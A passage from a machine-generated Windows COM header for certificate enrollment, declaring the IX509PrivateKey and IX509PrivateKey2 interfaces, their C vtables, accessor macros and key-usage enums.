STDMETHODCALLTYPE *Invoke )( \n            IX509PrivateKey * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Open )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Create )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Close )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Delete )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Verify )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyVerify VerifyType);\n        \n        HRESULT ( STDMETHODCALLTYPE *Import )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *Export )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncodedKey);\n        \n        HRESULT ( STDMETHODCALLTYPE *ExportPublicKey )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReaderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ReaderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatus )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspStatus )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderType )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509ProviderType *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderType )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509ProviderType Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_LegacyCsp )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_LegacyCsp )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Algorithm )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Algorithm )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeySpec )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509KeySpec Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Length )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ LONG Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ExportPolicy )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyExportFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ExportPolicy )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyExportFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyUsage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyUsageFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyUsage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyUsageFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyProtection )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyProtection *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyProtection )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyProtection Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MachineContext )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_MachineContext )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509PrivateKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Certificate )( \n            __RPC__in IX509PrivateKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UniqueContainerName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Opened )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DefaultContainer )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Existing )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Existing )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Pin )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_FriendlyName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Description )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Description )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        END_INTERFACE\n    } IX509PrivateKeyVtbl;\n\n    interface IX509PrivateKey\n    {\n        CONST_VTBL struct IX509PrivateKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PrivateKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PrivateKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PrivateKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PrivateKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PrivateKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PrivateKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PrivateKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PrivateKey_Open(This)\t\\\n    ( (This)->lpVtbl -> Open(This) ) \n\n#define IX509PrivateKey_Create(This)\t\\\n    ( (This)->lpVtbl -> Create(This) ) \n\n#define IX509PrivateKey_Close(This)\t\\\n    ( (This)->lpVtbl -> Close(This) ) \n\n#define IX509PrivateKey_Delete(This)\t\\\n    ( (This)->lpVtbl -> Delete(This) ) \n\n#define IX509PrivateKey_Verify(This,VerifyType)\t\\\n    ( (This)->lpVtbl -> Verify(This,VerifyType) ) \n\n#define IX509PrivateKey_Import(This,strExportType,strEncodedKey,Encoding)\t\\\n    ( (This)->lpVtbl -> Import(This,strExportType,strEncodedKey,Encoding) ) \n\n#define IX509PrivateKey_Export(This,strExportType,Encoding,pstrEncodedKey)\t\\\n    ( (This)->lpVtbl -> Export(This,strExportType,Encoding,pstrEncodedKey) ) \n\n#define IX509PrivateKey_ExportPublicKey(This,ppPublicKey)\t\\\n    ( (This)->lpVtbl -> ExportPublicKey(This,ppPublicKey) ) \n\n#define IX509PrivateKey_get_ContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerName(This,pValue) ) \n\n#define IX509PrivateKey_put_ContainerName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerName(This,Value) ) \n\n#define IX509PrivateKey_get_ContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerNamePrefix(This,pValue) ) \n\n#define IX509PrivateKey_put_ContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerNamePrefix(This,Value) ) \n\n#define IX509PrivateKey_get_ReaderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReaderName(This,pValue) ) \n\n#define IX509PrivateKey_put_ReaderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ReaderName(This,Value) ) \n\n#define IX509PrivateKey_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509PrivateKey_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509PrivateKey_get_CspStatus(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatus(This,ppValue) ) \n\n#define IX509PrivateKey_put_CspStatus(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspStatus(This,pValue) ) \n\n#define IX509PrivateKey_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509PrivateKey_put_ProviderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderName(This,Value) ) \n\n#define IX509PrivateKey_get_ProviderType(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderType(This,pValue) ) \n\n#define IX509PrivateKey_put_ProviderType(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderType(This,Value) ) \n\n#define IX509PrivateKey_get_LegacyCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LegacyCsp(This,pValue) ) \n\n#define IX509PrivateKey_put_LegacyCsp(This,Value)\t\\\n    ( (This)->lpVtbl -> put_LegacyCsp(This,Value) ) \n\n#define IX509PrivateKey_get_Algorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Algorithm(This,ppValue) ) \n\n#define IX509PrivateKey_put_Algorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Algorithm(This,pValue) ) \n\n#define IX509PrivateKey_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define IX509PrivateKey_put_KeySpec(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeySpec(This,Value) ) \n\n#define IX509PrivateKey_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509PrivateKey_put_Length(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Length(This,Value) ) \n\n#define IX509PrivateKey_get_ExportPolicy(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ExportPolicy(This,pValue) ) \n\n#define IX509PrivateKey_put_ExportPolicy(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ExportPolicy(This,Value) ) \n\n#define IX509PrivateKey_get_KeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyUsage(This,pValue) ) \n\n#define IX509PrivateKey_put_KeyUsage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyUsage(This,Value) ) \n\n#define IX509PrivateKey_get_KeyProtection(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyProtection(This,pValue) ) \n\n#define IX509PrivateKey_put_KeyProtection(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyProtection(This,Value) ) \n\n#define IX509PrivateKey_get_MachineContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MachineContext(This,pValue) ) \n\n#define IX509PrivateKey_put_MachineContext(This,Value)\t\\\n    ( (This)->lpVtbl -> put_MachineContext(This,Value) ) \n\n#define IX509PrivateKey_get_SecurityDescriptor(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SecurityDescriptor(This,pValue) ) \n\n#define IX509PrivateKey_put_SecurityDescriptor(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SecurityDescriptor(This,Value) ) \n\n#define IX509PrivateKey_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509PrivateKey_put_Certificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_Certificate(This,Encoding,Value) ) \n\n#define IX509PrivateKey_get_UniqueContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UniqueContainerName(This,pValue) ) \n\n#define IX509PrivateKey_get_Opened(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Opened(This,pValue) ) \n\n#define IX509PrivateKey_get_DefaultContainer(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DefaultContainer(This,pValue) ) \n\n#define IX509PrivateKey_get_Existing(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Existing(This,pValue) ) \n\n#define IX509PrivateKey_put_Existing(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Existing(This,Value) ) \n\n#define IX509PrivateKey_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509PrivateKey_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509PrivateKey_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509PrivateKey_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509PrivateKey_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509PrivateKey_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509PrivateKey_put_Pin(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Pin(This,Value) ) \n\n#define IX509PrivateKey_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#define IX509PrivateKey_put_FriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_FriendlyName(This,Value) ) \n\n#define IX509PrivateKey_get_Description(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Description(This,pValue) ) \n\n#define IX509PrivateKey_put_Description(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Description(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PrivateKey_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0014 */\n/* [local] */ \n\ntypedef \nenum X509HardwareKeyUsageFlags\n    {\n        XCN_NCRYPT_PCP_NONE\t= 0,\n        XCN_NCRYPT_TPM12_PROVIDER\t= 0x10000,\n        XCN_NCRYPT_PCP_SIGNATURE_KEY\t= 0x1,\n        XCN_NCRYPT_PCP_ENCRYPTION_KEY\t= 0x2,\n        XCN_NCRYPT_PCP_GENERIC_KEY\t= ( 0x1 | 0x2 ) ,\n        XCN_NCRYPT_PCP_STORAGE_KEY\t= 0x4,\n        XCN_NCRYPT_PCP_IDENTITY_KEY\t= 0x8\n    } \tX509HardwareKeyUsageFlags;\n\ntypedef \nenum X509KeyParametersExportType\n    {\n        XCN_CRYPT_OID_USE_CURVE_NONE\t= 0,\n        XCN_CRYPT_OID_USE_CURVE_NAME_FOR_ENCODE_FLAG\t= 0x20000000,\n        XCN_CRYPT_OID_USE_CURVE_PARAMETERS_FOR_ENCODE_FLAG\t= 0x10000000\n    } \tX509KeyParametersExportType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0014_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0014_v0_0_s_ifspec;\n\n#ifndef __IX509PrivateKey2_INTERFACE_DEFINED__\n#define __IX509PrivateKey2_INTERFACE_DEFINED__\n\n/* interface IX509PrivateKey2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PrivateKey2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab362-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PrivateKey2 : public IX509PrivateKey\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_HardwareKeyUsage( \n            /* [retval][out] */ __RPC__out X509HardwareKeyUsageFlags *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_HardwareKeyUsage( \n            /* [in] */ X509HardwareKeyUsageFlags Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateStorageLocation( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateStorageLocation( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_AlgorithmName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_AlgorithmName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlgorithmParameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlgorithmParameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParametersExportType( \n            /* [retval][out] */ __RPC__out X509KeyParametersExportType *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParametersExportType( \n            /* [in] */ X509KeyParametersExportType Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PrivateKey2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PrivateKey2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Open )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Create )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Close )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Delete )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Verify )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509PrivateKeyVerify VerifyType);\n        \n        HRESULT ( STDMETHODCALLTYPE *Import )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *Export )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncodedKey);\n        \n        HRESULT ( STDMETHODCALLTYPE *ExportPublicKey )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReaderName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ReaderName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatus )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspStatus )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pValue);\n        \n        /* 